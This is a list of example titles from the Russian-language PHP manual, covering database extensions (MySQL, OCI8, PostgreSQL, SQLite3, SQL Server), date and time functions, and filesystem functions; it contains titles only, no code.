  • Example#1702 - Пример использования mysql_xdevapi\Table::getSchema
  • Example#1703 - Пример использования mysql_xdevapi\Table::getSession
  • Example#1704 - Пример использования mysql_xdevapi\Table::insert
  • Example#1705 - Пример использования mysql_xdevapi\Table::isView
  • Example#1706 - Пример использования mysql_xdevapi\Table::count
  • Example#1707 - Пример использования mysql_xdevapi\Table::update
  • Example#1708 - Пример использования mysql_xdevapi\TableDelete::bind
  • Example#1709 - Пример использования mysql_xdevapi\TableDelete::__construct
  • Example#1710 - Пример использования mysql_xdevapi\TableDelete::execute
  • Example#1711 - Пример использования mysql_xdevapi\TableDelete::limit
  • Example#1712 - Пример использования mysql_xdevapi\TableDelete::orderBy
  • Example#1713 - Пример использования mysql_xdevapi\TableDelete::where
  • Example#1714 - Пример использования mysql_xdevapi\TableInsert::__construct
  • Example#1715 - Пример использования mysql_xdevapi\TableInsert::execute
  • Example#1716 - Пример использования mysql_xdevapi\TableInsert::values
  • Example#1717 - Пример использования mysql_xdevapi\TableSelect::bind
  • Example#1718 - Пример использования mysql_xdevapi\TableSelect::__construct
  • Example#1719 - Пример использования mysql_xdevapi\TableSelect::execute
  • Example#1720 - Пример использования mysql_xdevapi\TableSelect::groupBy
  • Example#1721 - Пример использования mysql_xdevapi\TableSelect::having
  • Example#1722 - Пример использования mysql_xdevapi\TableSelect::limit
  • Example#1723 - Пример использования mysql_xdevapi\TableSelect::lockExclusive
  • Example#1724 - Пример использования mysql_xdevapi\TableSelect::lockShared
  • Example#1725 - Пример использования mysql_xdevapi\TableSelect::offset
  • Example#1726 - Пример использования mysql_xdevapi\TableSelect::orderBy
  • Example#1727 - Пример использования mysql_xdevapi\TableSelect::where
  • Example#1728 - Пример использования mysql_xdevapi\TableUpdate::bind
  • Example#1729 - Пример использования mysql_xdevapi\TableUpdate::__construct
  • Example#1730 - Пример использования mysql_xdevapi\TableUpdate::execute
  • Example#1731 - Пример использования mysql_xdevapi\TableUpdate::limit
  • Example#1732 - Пример использования mysql_xdevapi\TableUpdate::orderby
  • Example#1733 - Пример использования mysql_xdevapi\TableUpdate::set
  • Example#1734 - Пример использования mysql_xdevapi\TableUpdate::where
  • Example#1735 - Пример использования mysql_xdevapi\Warning::__construct
  • Example#1736 - Пример работы с MySQL
  • Example#1737 - Пример использования mysql_affected_rows
  • Example#1738 - Пример использования mysql_affected_rows с транзакциями
  • Example#1739 - Пример использования mysql_client_encoding
  • Example#1740 - Пример использования mysql_close
  • Example#1741 - Пример использования mysql_connect
  • Example#1742 - Пример использования mysql_connect с синтаксисом hostname:port
  • Example#1743 - Пример использования mysql_connect с синтаксисом ":/path/to/socket"
  • Example#1744 - Пример создания базы данных MySQL
  • Example#1745 - Пример использования mysql_data_seek
  • Example#1746 - Пример использования mysql_db_name
  • Example#1747 - Пример использования альтернативы mysql_db_query
  • Example#1748 - Альтернативный пример использования mysql_drop_db
  • Example#1749 - Пример использования mysql_errno
  • Example#1750 - Пример использования mysql_error
  • Example#1751 - Пример использования mysql_escape_string
  • Example#1752 - Запрос с применением псевдонимов для дублирующихся имён колонок
  • Example#1753 - mysql_fetch_array с MYSQL_NUM
  • Example#1754 - mysql_fetch_array с MYSQL_ASSOC
  • Example#1755 - mysql_fetch_array с MYSQL_BOTH
  • Example#1756 - Расширенный пример использования mysql_fetch_assoc
  • Example#1757 - Пример использования mysql_fetch_field
  • Example#1758 - Пример использования mysql_fetch_lengths
  • Example#1759 - Пример использования mysql_fetch_object
  • Example#1760 - Пример использования mysql_fetch_object
  • Example#1761 - Получение одного ряда с помощью mysql_fetch_row
  • Example#1762 - Пример использования mysql_field_flags
  • Example#1763 - Пример использования mysql_field_len
  • Example#1764 - Пример использования mysql_field_name
  • Example#1765 - Пример использования mysql_field_table
  • Example#1766 - Пример использования mysql_field_type
  • Example#1767 - Пример использования mysql_free_result
  • Example#1768 - Пример использования mysql_get_client_info
  • Example#1769 - Пример использования mysql_get_host_info
  • Example#1770 - Пример использования mysql_get_proto_info
  • Example#1771 - Пример использования mysql_get_server_info
  • Example#1772 - Корректные виды запросов MySQL
  • Example#1773 - Пример использования mysql_insert_id
  • Example#1774 - Пример использования mysql_list_dbs
  • Example#1775 - Пример использования mysql_list_fields
  • Example#1776 - Пример использования mysql_list_processes
  • Example#1777 - Пример использования mysql_list_tables
  • Example#1778 - Пример использования mysql_num_fields
  • Example#1779 - Пример использования mysql_num_rows
  • Example#1780 - Пример использования mysql_ping
  • Example#1781 - Неверный запрос
  • Example#1782 - Верный запрос
  • Example#1783 - Простой пример использования mysql_real_escape_string
  • Example#1784 - Пример использования mysql_real_escape_string без наличия соединения
  • Example#1785 - Пример взлома с использованием SQL-инъекции
  • Example#1786 - Пример использования mysql_result
  • Example#1787 - Пример использования mysql_select_db
  • Example#1788 - Пример использования mysql_stat
  • Example#1789 - Альтернативный пример использования mysql_stat
  • Example#1790 - Пример использования mysql_tablename
  • Example#1791 - Пример использования mysql_thread_id
  • Example#1792 - Простой запрос
  • Example#1793 - Вставка с использованием привязанных переменных
  • Example#1794 - Привязка в WHERE выражении запроса
  • Example#1795 - Вставка данных в поле типа CLOB
  • Example#1796 - Использование PL/SQL хранимых процедур
  • Example#1797 - Использование PL/SQL хранимых процедур
  • Example#1798 - Вызов PL/SQL процедур, возвращающих REF CURSOR
  • Example#1799 -
  • Example#1800 - user_oci8_probes.d для трассировки всех статических зондов PHP OCI8 с помощью DTrace на пользовательском уровне
  • Example#1801 - Пример использования oci_bind_array_by_name
  • Example#1802 - Добавление данных с использованием oci_bind_by_name
  • Example#1803 - Одна привязка для многократного использования
  • Example#1804 - Прикрепление в цикле foreach
  • Example#1805 - Прикрепление в выражение WHERE
  • Example#1806 - Прикрепление в выражение LIKE
  • Example#1807 - Прикрепление в выражение REGEXP_LIKE
  • Example#1808 - Прикрепление нескольких значений в выражение IN
  • Example#1809 - Прикрепление ROWID, возвращаемое запросом
  • Example#1810 - OUT-прикрепление ROWID, возвращаемое при INSERT
  • Example#1811 - Прикрепление для хранимой функции PL/SQL
  • Example#1812 - Прикрепление параметров для PL/SQL хранимой процедуры
  • Example#1813 - Прикрепление CLOB-объекта
  • Example#1814 - Прикрепление PL/SQL BOOLEAN
  • Example#1815 - Пример использования oci_client_version
  • Example#1816 - Закрытие соединения
  • Example#1817 - Соединение базы данных не закрывается до тех пор, пока не будут закрыты все ссылки на него
  • Example#1818 - Закрытие соединения, открытого несколько раз
  • Example#1819 - Соединение закрывается при уходе переменных из области видимости
  • Example#1820 - Пример использования oci_commit
  • Example#1821 - Пример использования oci_connect с синтаксисом Easy Connect
  • Example#1822 - Пример использования oci_connect используя имя Network Connect
  • Example#1823 - Пример использования oci_connect с использованием определённого набора символов
  • Example#1824 - Пример использования многократных вызовов oci_connect
  • Example#1825 - Пример использования функции oci_define_by_name
  • Example#1826 - Пример использования oci_define_by_name с регистрозависимыми именами столбцов
  • Example#1827 - Пример использования oci_define_by_name со столбцами типа LOB
  • Example#1828 - Пример использования oci_define_by_name с приведёнными типами
  • Example#1829 - Вывод сообщения об ошибке Oracle после ошибки соединения
  • Example#1830 - Вывод сообщения об ошибке Oracle после ошибки разбора
  • Example#1831 - Вывод сообщения об ошибке Oracle, ошибочного запроса и позиции ошибки запуска запроса
  • Example#1832 - oci_execute при выполнении запросов
  • Example#1833 - oci_execute без указания определённого режима
  • Example#1834 - oci_execute с OCI_NO_AUTO_COMMIT
  • Example#1835 - oci_execute с различными режимами
  • Example#1836 - oci_execute с OCI_DESCRIBE_ONLY
  • Example#1837 - Пример использования oci_fetch_all
  • Example#1838 - Пример использования oci_fetch_all с OCI_FETCHSTATEMENT_BY_ROW
  • Example#1839 - Пример использования oci_fetch_all с OCI_NUM
  • Example#1840 - oci_fetch_array с OCI_BOTH
  • Example#1841 - oci_fetch_array с OCI_NUM
  • Example#1842 - oci_fetch_array с OCI_ASSOC
  • Example#1843 - oci_fetch_array с OCI_RETURN_NULLS
  • Example#1844 - oci_fetch_array с OCI_RETURN_LOBS
  • Example#1845 - oci_fetch_array с регистрозависимыми названиями полей
  • Example#1846 - oci_fetch_array с полями с одинаковыми названиями
  • Example#1847 - oci_fetch_array с полями DATE
  • Example#1848 - oci_fetch_array с REF CURSOR
  • Example#1849 - Постраничный вывод с помощью oci_fetch_array используя LIMIT-подобный запрос
  • Example#1850 - oci_fetch_array c Oracle Database Implicit Result Sets
  • Example#1851 - Пример использования oci_fetch_assoc
  • Example#1852 - Пример использования oci_fetch_object
  • Example#1853 - Пример использования oci_fetch_object с названиями столбцов в различных регистрах
  • Example#1854 - Пример использования oci_fetch_object с LOB
  • Example#1855 - Пример использования oci_fetch_row
  • Example#1856 - Пример использования oci_fetch с определёнными переменными
  • Example#1857 - Пример использования oci_fetch с oci_result
  • Example#1858 - Пример использования oci_field_name
  • Example#1859 - Пример использования oci_field_name
  • Example#1860 - Пример использования oci_field_precision
  • Example#1861 - oci_field_scale Example
  • Example#1862 - Пример использования oci_field_size
  • Example#1863 - Пример использования oci_field_type_raw
  • Example#1864 - Пример использования oci_field_type
  • Example#1865 - Извлечение неявных результирующих наборов в цикле
  • Example#1866 - Извлечение обработчиков дочерних запросов в индивидуальном порядке
  • Example#1867 - Явное указание величины предвыборки
  • Example#1868 - Пример неявного результирующего набора без использования oci_get_implicit_resultset
  • Example#1869 - Пример использования oci_new_connect
  • Example#1870 - Привязка REF CURSOR в вызове хранимых процедур Oracle
  • Example#1871 - Пример использования oci_new_descriptor
  • Example#1872 - Пример использования oci_new_descriptor
  • Example#1873 - Пример использования oci_num_fields
  • Example#1874 - Пример использования oci_num_rows
  • Example#1875 - Пример использования oci_parse с SQL-запросами
  • Example#1876 - Пример использования oci_parse с PL/SQL-запросами
  • Example#1877 - Пример использования oci_password_change с изменением пароля уже подключённого пользователя
  • Example#1878 - Пример использования oci_password_change с подключением и изменением пароля одновременно
  • Example#1879 - Простой пример для oci_pconnect с использованием упрощённого синтаксиса подключения
  • Example#1880 - Пример использования oci_fetch с oci_result
  • Example#1881 - Пример использования oci_rollback
  • Example#1882 - Пример использования отката до SAVEPOINT
  • Example#1883 - Пример использования oci_server_version
  • Example#1884 - Установка действия
  • Example#1885 - Установка времени ожидания
  • Example#1886 - Установка идентификатора клиента для пользователя
  • Example#1887 - Установка клиентской информации
  • Example#1888 - Установка DBOP
  • Example#1889 - Два скрипта могут использовать различные версии функции myfunc() одновременно
  • Example#1890 - Установка имени модуля
  • Example#1891 - Изменение значения предварительной выборки LOB для запроса
  • Example#1892 - Смена значения предварительной выборки по умолчанию для запроса
  • Example#1893 - Смена значения предварительной выборки по умолчанию для выборки REF CURSOR
  • Example#1894 - Установка значения предварительной выборки при передаче REF CURSOR обратно в Oracle
  • Example#1895 - Пример использования oci_statement_type
  • Example#1896 - Пример работы с модулем PostgreSQL
  • Example#1897 - Пример использования пользовательских функций PostgreSQL
  • Example#1898 - Пример использования pg_affected_rows
  • Example#1899 - Пример использования pg_cancel_query
  • Example#1900 - Пример использования pg_client_encoding
  • Example#1901 - Пример использования pg_close
  • Example#1902 - Использование функции pg_connect
  • Example#1903 - Пример использования pg_connection_busy
  • Example#1904 - Пример использования pg_connection_reset
  • Example#1905 - Пример использования pg_connection_status
  • Example#1906 - Пример использования функции pg_convert
  • Example#1907 - Пример использования pg_copy_from
  • Example#1908 - Пример использования pg_copy_to
  • Example#1909 - Пример использования pg_dbname
  • Example#1910 - Пример использования pg_delete
  • Example#1911 - Пример использования pg_end_copy
  • Example#1912 - Пример использования pg_escape_bytea
  • Example#1913 - Пример выполнения pg_escape_identifier
  • Example#1914 - Пример использования pg_escape_literal
  • Example#1915 - Пример использования pg_escape_string
  • Example#1916 - Пример использования pg_execute
  • Example#1917 - Пример использования pg_fetch_all_columns
  • Example#1918 - Пример использования
  • Example#1919 - Пример использования функции pg_fetch_array
  • Example#1920 - Пример использования pg_fetch_assoc
  • Example#1921 - Пример использования функции pg_fetch_object
  • Example#1922 - Пример использования функции pg_fetch_result
  • Example#1923 - Пример использования pg_fetch_row
  • Example#1924 - Пример использования функции pg_field_is_null
  • Example#1925 - Получение информации о полях выборки
  • Example#1926 - Получение информации о полях выборки
  • Example#1927 - Получение информации о полях выборки
  • Example#1928 - Получение информации о полях выборки
  • Example#1929 - Получение информации о поле выборки
  • Example#1930 - Получение информации о полях выборки
  • Example#1931 - Получение информации о поле выборки
  • Example#1932 - Пример использования pg_free_result
  • Example#1933 - Сообщение PostgreSQL NOTIFY
  • Example#1934 - PID сервера PostgreSQL
  • Example#1935 - Пример использования pg_get_result
  • Example#1936 - Пример использования pg_host
  • Example#1937 - Пример использования функции pg_insert
  • Example#1938 - Пример использования pg_last_error
  • Example#1939 - Пример использования pg_last_notice
  • Example#1940 - Пример использования pg_last_oid
  • Example#1941 - Пример использования pg_lo_close
  • Example#1942 - Пример использования pg_lo_create
  • Example#1943 - Пример использования pg_lo_export
  • Example#1944 - Пример использования pg_lo_import
  • Example#1945 - Пример использования pg_lo_open
  • Example#1946 - Пример использования pg_lo_read_all
  • Example#1947 - Пример использования pg_lo_read
  • Example#1948 - Пример использования pg_lo_seek
  • Example#1949 - Пример использования pg_lo_tell
  • Example#1950 - Пример использования pg_lo_truncate
  • Example#1951 - Пример использования pg_lo_unlink
  • Example#1952 - Пример использования pg_lo_write
  • Example#1953 - Получение метаданных таблицы
  • Example#1954 - Пример использования pg_num_fields
  • Example#1955 - Пример использования pg_num_rows
  • Example#1956 - Пример использования pg_options
  • Example#1957 - Пример использования pg_parameter_status
  • Example#1958 - Пример использования pg_pconnect
  • Example#1959 - Пример использования pg_ping
  • Example#1960 - Пример использования pg_port
  • Example#1961 - Пример использования pg_prepare
  • Example#1962 - Пример использования pg_put_line
  • Example#1963 - Пример использования pg_query_params
  • Example#1964 - Пример использования pg_query
  • Example#1965 - Использование нескольких выражений в pg_query
  • Example#1966 - Пример использования pg_result_error_field
  • Example#1967 - Пример использования pg_result_error
  • Example#1968 - Пример использования pg_result_seek
  • Example#1969 - Пример использования pg_result_status
  • Example#1970 - Пример использования pg_select
  • Example#1971 - Пример использования pg_send_execute
  • Example#1972 - Пример использования функции pg_send_prepare
  • Example#1973 - Пример использования pg_send_query_params
  • Example#1974 - Пример использования pg_send_query
  • Example#1975 - Пример использования pg_set_client_encoding
  • Example#1976 - Пример использования функции pg_set_error_context_visibility
  • Example#1977 - Пример использования pg_set_error_verbosity
  • Example#1978 - Пример использования pg_trace
  • Example#1979 - Пример использования pg_transaction_status
  • Example#1980 - Пример использования pg_tty
  • Example#1981 - Пример использования pg_unescape_bytea
  • Example#1982 - Пример использования pg_untrace
  • Example#1983 - Пример использования pg_update
  • Example#1984 - Пример использования pg_version
  • Example#1985 - Создание резервной копии существующей базы
  • Example#1986 - Пример использования SQLite3::changes
  • Example#1987 - Пример использования SQLite3::close
  • Example#1988 - Пример использования метода SQLite3::__construct
  • Example#1989 - Пример агрегирующей функции max_length
  • Example#1990 - Пример использования SQLite3::createCollation
  • Example#1991 - Пример использования SQLite3::createFunction
  • Example#1992 - Пример использования метода SQLite3::enableExceptions
  • Example#1993 - Пример использования SQLite3::exec
  • Example#1994 - Пример использования SQLite3::loadExtension
  • Example#1995 - Пример использования метода SQLite3::open
  • Example#1996 - Пример использования SQLite3::openBlob
  • Example#1997 - Пошаговая запись BLOB
  • Example#1998 - Пример использования SQLite3::prepare
  • Example#1999 - Пример использования SQLite3::query
  • Example#2000 - Пример использования SQLite3::querySingle
  • Example#2001 - Пример использования SQLite3::setAuthorizer
  • Example#2002 - Пример использования SQLite3::version
  • Example#2003 - Пример использования SQLite3Stmt::bindParam
  • Example#2004 - Пример использования SQLite3Stmt::bindValue
  • Example#2005 - Получение расширенного SQL-запроса
  • Example#2006 - Пример использования sqlsrv_begin_transaction
  • Example#2007 - Пример использования sqlsrv_cancel
  • Example#2008 - Пример использования sqlsrv_client_info
  • Example#2009 - Пример использования sqlsrv_close
  • Example#2010 - Пример использования sqlsrv_commit
  • Example#2011 - Подключение с использованием проверки подлинности Windows.
  • Example#2012 - Подключение с использованием имени пользователя и пароля.
  • Example#2013 - Подключение с использованием порта.
  • Example#2014 - Пример использования functionname
  • Example#2015 - Пример использования sqlsrv_execute
  • Example#2016 - Получение ассоциативного массива.
  • Example#2017 - Получение числового массива.
  • Example#2018 - Пример использования sqlsrv_fetch_object
  • Example#2019 - Пример использования sqlsrv_fetch
  • Example#2020 - Пример использования sqlsrv_field_metadata
  • Example#2021 - Пример использования sqlsrv_free_stmt
  • Example#2022 - Пример использования sqlsrv_get_field
  • Example#2023 - Пример использования sqlsrv_has_rows
  • Example#2024 - Пример использования sqlsrv_next_result
  • Example#2025 - Пример использования sqlsrv_num_fields
  • Example#2026 - Пример использования sqlsrv_num_rows
  • Example#2027 - Пример использования sqlsrv_prepare
  • Example#2028 - Пример использования sqlsrv_query
  • Example#2029 - Пример использования sqlsrv_rollback
  • Example#2030 - Пример использования sqlsrv_rows_affected
  • Example#2031 - Пример использования sqlsrv_send_stream_data
  • Example#2032 - Пример использования sqlsrv_server_info
  • Example#2033 - Пример использования cal_days_in_month
  • Example#2034 - Пример использования cal_from_jd
  • Example#2035 - Пример cal_info
  • Example#2036 - Пример использования easter_date
  • Example#2037 - Пример использования easter_date с объектом класса DateTime
  • Example#2038 - Пример использования easter_days
  • Example#2039 - Календарные функции
  • Example#2040 - Поведение при переполнении
  • Example#2041 - Пример использования jdtojewish
  • Example#2042 - DateTimeImmutable::add/sub добавляет интервалы, охватывающие прошедшее время
  • Example#2043 - DateTimeImmutable::modify и strtotime увеличит или уменьшит значения индивидуальных компонентов
  • Example#2044 - Добавление или вычитание времени может уменьшить или увеличить дату
  • Example#2045 - Создание изменяемого объекта
  • Example#2046 - Пример использования
  • Example#2047 - Пример использования DateTime::modify
  • Example#2048 - Будьте осторожны при добавлении и вычитании месяцев
  • Example#2049 - Поддерживаются все форматы даты и времени
  • Example#2050 - Пример использования DateTime::setTimeZone
  • Example#2051 - Пример использования DateTimeImmutable::add
  • Example#2052 - Дополнительный пример использования DateTimeImmutable::add
  • Example#2053 - Будьте осторожны при добавлении месяцев
  • Example#2054 - Пример использования DateTimeImmutable::__construct
  • Example#2055 - Тонкости DateTimeImmutable::__construct
  • Example#2056 - Изменение связанного часового пояса
  • Example#2057 - Использование относительной строки даты/времени
  • Example#2058 - Пример использования DateTimeImmutable::createFromFormat
  • Example#2059 - Использование предопределённых констант формата с помощью DateTimeImmutable::createFromFormat
  • Example#2060 - Тонкости DateTimeImmutable::createFromFormat
  • Example#2061 - Форматирование строки с помощью литеральных символов
  • Example#2062 - Поведение при переполнении
  • Example#2063 - Поведение имени переполненного дня
  • Example#2064 - Обнаружение переполнения дат
  • Example#2065 - Жадное поведение при разборе
  • Example#2066 - Создание иммутабельного объекта даты и времени
  • Example#2067 - Создание неизменяемого объекта даты/времени
  • Example#2068 - Пример использования DateTimeImmutable::getLastErrors
  • Example#2069 - Пример использования DateTimeImmutable::modify
  • Example#2070 - Будьте осторожны при сложении или вычитании месяцев
  • Example#2071 - Пример использования DateTimeImmutable::setDate
  • Example#2072 - Значения, выходящие за пределы диапазона, добавляются к своим родительским значениям
  • Example#2073 - Пример использования DateTimeImmutable::setISODate
  • Example#2074 - Значения, выходящие за пределы диапазона, добавляются к своим родительским значениям
  • Example#2075 - Поиск месяца, в котором находится неделя
  • Example#2076 - Пример использования DateTimeImmutable::setTime
  • Example#2077 - Значения, выходящие за пределы диапазона, добавляются к своим родительским значениям
  • Example#2078 - Пример использования DateTimeImmutable::setTimestamp
  • Example#2079 - Пример использования DateTimeImmutable::setTimeZone
  • Example#2080 - Пример использования DateTimeImmutable::sub
  • Example#2081 - Дополнительный пример DateTimeImmutable::sub
  • Example#2082 - Будьте осторожны при вычитании месяцев
  • Example#2083 - Пример использования метода DateTimeInterface::diff с диапазоном дат
  • Example#2084 - Пример использования DateTimeImmutable::diff
  • Example#2085 - Пример использования DateTimeInterface::diff во время перехода на летнее время
  • Example#2086 - Сравнение объектов DateTime
  • Example#2087 - Пример использования DateTimeInterface::format
  • Example#2088 - Больше примеров
  • Example#2089 - Экранирование символов во время форматирования
  • Example#2090 - Пример использования DateTime::getOffset
  • Example#2091 - Пример использования DateTime::getTimestamp
  • Example#2092 - Получение метки времени с милли- и микросекундами
  • Example#2093 - Пример использования DateTime::getTimezone
  • Example#2094 - Создание и присоединение DateTimeZone к DateTimeImmutable
  • Example#2095 - Перехват ошибок при создании экземпляра DateTimeZone
  • Example#2096 - Пример использования DateTimeZone::getLocation
  • Example#2097 - Пример использования DateTimeZone::getOffset
  • Example#2098 - Пример использования timezone_transitions_get
  • Example#2099 - Пример использования timezone_transitions_get с заданным параметром timestampBegin
  • Example#2100 - Пример использования timezone_abbreviations_list
  • Example#2101 - Пример использования DateTimeZone::listIdentifiers
  • Example#2102 - Перечисление идентификаторов для конкретного региона
  • Example#2103 - Перечисление идентификаторов для нескольких регионов
  • Example#2104 - Перечисление идентификаторов для одной страны
  • Example#2105 - Пример создания и использования объектов DateInterval
  • Example#2106 - Пример использования объекта DateInterval
  • Example#2107 - Анализ и разбор временных интервалов
  • Example#2108 - Разбор комбинаций и отрицательных интервалов
  • Example#2109 - Разбор специальных относительных временных интервалов
  • Example#2110 - Пример использования DateInterval
  • Example#2111 - DateInterval и перенос единиц
  • Example#2112 - DateInterval и DateTime::diff с модификаторами %a и %d
  • Example#2113 - Пример использования DatePeriod
  • Example#2114 - Пример использования DatePeriod с DatePeriod::EXCLUDE_START_DATE
  • Example#2115 - Пример использования DatePeriod, показывающий все последние четверги в году
  • Example#2116 - Пример использования метода DatePeriod::createFromISO8601String
  • Example#2117 - Пример использования DatePeriod::getDateInterval
  • Example#2118 - Пример использования DatePeriod::getEndDate
  • Example#2119 - Пример использования DatePeriod::getEndDate без даты окончания
  • Example#2120 - Различные значения для DatePeriod::getRecurrences
  • Example#2121 - Пример использования DatePeriod::getStartDate
  • Example#2122 - Пример использования функции checkdate
  • Example#2123 - Получение часового пояса по умолчанию
  • Example#2124 - Получение аббревиатуры часового пояса
  • Example#2125 - Получение часового пояса по умолчанию
  • Example#2126 - Пример использования date_parse_from_format
  • Example#2127 - Пример использования date_parse_from_format с предупреждениями
  • Example#2128 - Пример использования date_parse_from_format с ошибками
  • Example#2129 - Пример использования функции date_parse с полной строкой datetime
  • Example#2130 - Пример использования date_parse с информацией об аббревиатуре часового пояса
  • Example#2131 - Пример использования date_parse с информацией об идентификаторе часового пояса
  • Example#2132 - Пример использования date_parse с минимальной строкой
  • Example#2133 - Пример использования date_parse с относительными форматами
  • Example#2134 - Пример использования date_parse с побочными эффектами
  • Example#2135 - Пример использования date_sun_info
  • Example#2136 - Полярная ночь с некоторой обработкой
  • Example#2137 - Полуночное солнце (Тромсё, Норвегия)
  • Example#2138 - Вычисление продолжительности дня (Киев)
  • Example#2139 - Пример использования date_sunrise
  • Example#2140 - Нет восхода солнца
  • Example#2141 - Пример использования date_sunset
  • Example#2142 - Нет заката
  • Example#2143 - Примеры использования функции date
  • Example#2144 - Экранирование символов в функции date
  • Example#2145 - Пример совместного использования функций date и mktime
  • Example#2146 - Форматирование с использованием date
  • Example#2147 - Пример использования функции getdate
  • Example#2148 - Пример использования функции gettimeofday
  • Example#2149 - Пример использования gmdate
  • Example#2150 - Базовый пример использования gmmktime
  • Example#2151 - Пример использования функции gmstrftime
  • Example#2152 - Пример использования idate
  • Example#2153 - Пример использования localtime
  • Example#2154 - Замер времени выполнения скрипта
  • Example#2155 - Пример использования microtime и REQUEST_TIME_FLOAT
  • Example#2156 - Пример использования функции mktime
  • Example#2157 - Пример использования mktime
  • Example#2158 - Последний день месяца
  • Example#2159 - Пример использования функции strftime с разными локалями
  • Example#2160 - Пример номеров недели по ISO 8601:1988
  • Example#2161 - Кроссплатформенный пример использования модификатора %e
  • Example#2162 - Показываем все известные и неизвестные форматы.
  • Example#2163 - Пример использования strptime
  • Example#2164 - Пример использования функции strtotime
  • Example#2165 - Проверка ошибок
  • Example#2166 - Пример использования time
  • Example#2167 - Пример использования timezone_name_from_abbr
  • Example#2168 - Определение версии базы данных часовых поясов
  • Example#2169 - Замеряем время исполнения нескольких блоков кода
  • Example#2170 - Закрытие файлового дескриптора
  • Example#2171 - Установка и снятие блокировки
  • Example#2172 - Открытие файлового дескриптора
  • Example#2173 - Позиционирование внутри файла
  • Example#2174 - Установка скорости передачи для последовательного порта
  • Example#2175 - Пример использования chdir
  • Example#2176 - Пример использования функции chroot
  • Example#2177 - Пример использования closedir
  • Example#2178 - Пример использования dir
  • Example#2179 - Пример использования getcwd
  • Example#2180 - Пример использования функции opendir
  • Example#2181 - Вывести список всех элементов каталога
  • Example#2182 - Получить список элементов в текущем каталоге и отбросить элементы с именами . и ..
  • Example#2183 - Простой пример использования функции scandir
  • Example#2184 - Пример finfo_buffer
  • Example#2185 - Пример использования finfo_file
  • Example#2186 - Объектно-ориентированный стиль
  • Example#2187 - Процедурный стиль
  • Example#2188 - Пример mime_content_type
  • Example#2189 - Пример использования функции basename
  • Example#2190 - Изменение группы файла
  • Example#2191 - Пример простого использования chown
  • Example#2192 - Пример использования функции clearstatcache
  • Example#2193 - Пример использования функции copy
  • Example#2194 - Пример использования функции dirname
  • Example#2195 - Пример использования функции disk_free_space
  • Example#2196 - Пример использования disk_total_space
  • Example#2197 - Простой пример использования функции fclose
  • Example#2198 - Пример использования fdatasync
  • Example#2199 - Обработка времени ожидания с функцией feof
  • Example#2200 - Пример feof с неверным файловым указателем
  • Example#2201 - Пример записи файла с помощью fflush
  • Example#2202 - Пример использования функции fgetc
  • Example#2203 - Чтение и вывод на экран содержимого CSV-файла
  • Example#2204 - Построчное чтение файла
  • Example#2205 - Построчное чтение PHP-файла
  • Example#2206 - Проверка существования файла
  • Example#2207 - Получить и вывести исходный код домашней страницы сайта
  • Example#2208 - Поиск файлов в include_path
  • Example#2209 - Чтение секции файла
  • Example#2210 - Использование потоковых контекстов
  • Example#2211 - Пример простого использования
  • Example#2212 - Использование флагов
  • Example#2213 - Пример использования file
  • Example#2214 - Пример использования функции fileatime
  • Example#2215 - Пример использования функции filectime
  • Example#2216 - Поиск группы файла
  • Example#2217 - Сравнение индексного дескриптора файла с текущим файлом
  • Example#2218 - Пример использования функции filemtime
  • Example#2219 - Находим владельца файла
  • Example#2220 - Отображение прав доступа в виде восьмеричного числа
  • Example#2221 - Отображение полных прав доступа
  • Example#2222 - Пример использования функции filesize
  • Example#2223 - Пример использования функции filetype
  • Example#2224 - Пример использования функции flock
  • Example#2225 - Использование функции flock с параметром LOCK_NB
  • Example#2226 - Проверка соответствия названия цвета шаблону подстановки командной оболочки
  • Example#2227 - Примеры использования fopen
  • Example#2228 - Использование fpassthru с бинарными файлами
  • Example#2229 - Пример использования fputcsv
  • Example#2230 - Простой пример использования fread
  • Example#2231 - Пример бинарного чтения с помощью fread
  • Example#2232 - Примеры удалённого чтения с помощью fread
  • Example#2233 - Пример использования функции fscanf
  • Example#2234 - Содержимое файла users.txt
  • Example#2235 - Пример использования функции fseek
  • Example#2236 - Пример использования функции fstat
  • Example#2237 - Пример использования fsync
  • Example#2238 - Пример использования функции ftell
  • Example#2239 - Пример обрезания файла
  • Example#2240 - Простой пример использования функции fwrite
  • Example#2241 - Способ подмены функцией glob функции opendir и дружественных функции
  • Example#2242 - Пример использования функции is_dir
  • Example#2243 - Пример использования функции is_executable
  • Example#2244 - Пример использования is_file
  • Example#2245 - Создаём файл и подтверждаем, что он является символической ссылкой
  • Example#2246 - is_readable example
  • Example#2247 - Пример использования функции is_uploaded_file
  • Example#2248 - Пример использования is_writable
  • Example#2249 - Пример изменения группы символической ссылки
  • Example#2250 - Изменение владельца символической ссылки
  • Example#2251 - Создание простой жёсткой ссылки
  • Example#2252 - Пример использования функции linkinfo
  • Example#2253 - Сравнение функций stat и lstat
  • Example#2254 - Пример использования функции mkdir
  • Example#2255 - Использование mkdir с параметром recursive
  • Example#2256 - Загрузка нескольких файлов
  • Example#2257 - Содержимое sample.ini
  • Example#2258 - Пример использования функции parse_ini_file
  • Example#2259 - Обработка файла php.ini функцией parse_ini_file
  • Example#2260 - Интерполяция значений
  • Example#2261 - Экранирование символов
  • Example#2262 - Пример использования функции pathinfo
  • Example#2263 - Пример с pathinfo, показывающий разницу между null и отсутствием расширения
  • Example#2264 - Пример pathinfo для файла, начинающегося с точки
  • Example#2265 - Пример использования pathinfo с разыменованием массива
  • Example#2266 - Пример использования pclose
  • Example#2267 - Пример использования функции popen
  • Example#2268 - Пример использования функции popen
  • Example#2269 - Принудительная загрузка с помощью readfile
  • Example#2270 - Пример использования функции readlink
  • Example#2271 - Пример использования realpath_cache_get
  • Example#2272 - Пример использования realpath_cache_size
  • Example#2273 - Пример использования функции realpath
  • Example#2274 - realpath на Windows
  • Example#2275 - Пример использования функции rename
  • Example#2276 - Пример перезаписи rewind
  • Example#2277 - Пример использования rmdir
  • Example#2278 - Пример использования stat
  • Example#2279 - Использование информации из stat вместе с touch
  • Example#2280 - Создание символической ссылки
  • Example#2281 - Пример использования функции tempnam
  • Example#2282 - Пример использования функции tmpfile
  • Example#2283 - Пример использования функции touch
  • Example#2284 - Использование touch с параметром mtime
  • Example#2285 - Пример использования функции umask
  • Example#2286 - Пример простого использования функции unlink
  • Example#2287 - Пример использования функции inotify
  • Example#2288 - Проверить, подписан ли файл системным администратором
  • Example#2289 - Вывести имена всех расширенных атрибутов файла
  • Example#2290 - Удалить все расширенные атрибуты файла
  • Example#2291 - Установить расширенные атрибуты .wav файла
  • Example#2292 - xattr_supported example
  • Example#2293 - Пример использования xdiff_file_bdiff_size
  • Example#2294 - Пример использования xdiff_file_bdiff
  • Example#2295 - Пример использования xdiff_file_bpatch
